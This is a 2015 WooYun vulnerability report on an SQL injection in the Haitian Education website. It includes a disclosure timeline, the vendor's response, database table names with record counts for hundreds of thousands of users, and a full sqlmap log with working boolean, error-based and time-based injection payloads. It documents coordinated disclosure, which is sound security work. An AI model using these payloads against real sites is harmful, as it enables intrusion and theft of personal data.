当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144916

漏洞标题:海天教育官网存在漏洞几十万条用户信息泄露

相关厂商:海天教育

漏洞作者: 路人甲

提交时间:2015-10-09 22:34

修复时间:2015-11-28 08:46

公开时间:2015-11-28 08:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-09: 细节已通知厂商并且等待厂商处理中
2015-10-14: 厂商已经确认,细节仅向厂商公开
2015-10-24: 细节向核心白帽子及相关领域专家公开
2015-11-03: 细节向普通白帽子公开
2015-11-13: 细节向实习白帽子公开
2015-11-28: 细节向公众公开

简要描述:

攒了很久的漏洞,一起发出来吧

详细说明:

注入点:**.**.**.**/SelectResult.aspx?Subject=%E6%94%BF%E6%B2%BB%E7%9C%9F%E9%A2%98
【手工测试】:
Subject参数后加单引号直接报错

说明: 执行当前 Web 请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息: System.Data.SqlClient.SqlException: 字符串 ') ' 后的引号不完整。
') ' 附近有语法错误。源错误:
行 69:
行 70: dp.WHERE_txt = sbWhere.ToString();
行 71: dp.TotalNumDataBind();
行 72:
行 73: //以确保页码数字不会越界
源文件: d:\web\newstation\海天考研新站\SelectResult.aspx.cs 行: 71


【sqlmap截图】:

1.jpg


root权限:

2.jpg


泄露的是几十万条,怎么算的呢?
首先主站62087条
而从12到16年有每年的数据库统计,每年大约7万条
6 * 7 + 6 大约是50万【条】用户信息
数据库信息:

Database: UNCC_Haitian2014
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.StudentCourse | 347944 |
| dbo.StudentCardCourse | 344235 |
| dbo.Member | 84396 |
| dbo.Student | 12033 |
| dbo.StudentCategory | 12033 |


Database: UNCC_Haitian2012
+--------------------------------------------------+---------
| Table | Entries
+--------------------------------------------------+---------
| dbo.StudentCourse | 345004
| dbo.StudentCardCourse | 328055
| dbo.Member | 68606
| dbo.Student | 56765
| dbo.StudentCategory | 56765
| dbo.Region | 3468


Database: UNCC_Haitian2016
+--------------------------------------------------+---------
| Table | Entries
+--------------------------------------------------+---------
| dbo.StudentCourse | 410617
| dbo.StudentCardCourse | 406846
| dbo.Member | 92472
| dbo.Region | 3468
| dbo.Course | 2462


Database: HTKaoyanDB
+--------------------------------------------------+---------+
| Table | Entries |
+--------------------------------------------------+---------+
| dbo.ZiLiao | 358416 |
| dbo.SMSLog | 114543 |
| dbo.WebPage | 79333 |
| dbo.UserGrowUp | 62087 |
| dbo.UserAccount | 43771 |


漏洞证明:

【sqlmap全过程】:

[17:55:11] [INFO] testing connection to the target URL
[17:55:13] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[17:55:15] [INFO] target URL is stable
[17:55:15] [INFO] testing if GET parameter 'Subject' is dynamic
[17:55:17] [INFO] confirming that GET parameter 'Subject' is dynamic
[17:55:18] [INFO] GET parameter 'Subject' is dynamic
[17:55:19] [WARNING] heuristic (basic) test shows that GET parameter 'Subject' m
ight not be injectable
[17:55:19] [INFO] testing for SQL injection on GET parameter 'Subject'
[17:55:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:55:30] [WARNING] reflective value(s) found and filtering out
[17:55:31] [INFO] GET parameter 'Subject' seems to be 'AND boolean-based blind -
WHERE or HAVING clause' injectable
[17:55:32] [WARNING] if you experience problems with non-ASCII identifier names
you are advised to rerun with '--tamper=charunicodeencode'
[17:55:34] [INFO] heuristic (extended) test shows that the back-end DBMS could b
e 'Microsoft SQL Server'
do you want to include all tests for 'Microsoft SQL Server' extending provided l
evel (1) and risk (1) values? [Y/n]
[17:55:41] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[17:55:41] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[17:55:42] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[17:55:42] [INFO] GET parameter 'Subject' is 'Microsoft SQL Server/Sybase AND er
ror-based - WHERE or HAVING clause' injectable
[17:55:42] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[17:55:42] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[17:55:42] [WARNING] time-based comparison requires larger statistical model, pl
ease wait....
[17:55:47] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[17:55:47] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (hea
vy query)'
[17:56:04] [INFO] GET parameter 'Subject' seems to be 'Microsoft SQL Server/Syba
se AND time-based blind (heavy query)' injectable
[17:56:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:56:04] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
GET parameter 'Subject' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N]
sqlmap identified the following injection points with a total of 51 HTTP(s) requ
ests:
---
Parameter: Subject (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Subject=政治真题%' AND 7845=7845 AND '%'='
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Subject=政治真题%' AND 2043=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)
+CHAR(122)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (2043=2043) THEN CHAR(49) ELSE
CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(122)+CHAR(107)+CHAR(113))) AND '%'='
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: Subject=政治真题%' AND 2476=(SELECT COUNT(*) FROM sysusers AS sys1,
sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS
sys6,sysusers AS sys7) AND '%'='
---
[17:56:08] [INFO] testing Microsoft SQL Server
[17:56:08] [INFO] confirming Microsoft SQL Server
[17:56:08] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2015-10-14 08:45

厂商回复:

暂未建立与网站管理单位的直接处置渠道,待认领.

最新状态:

暂无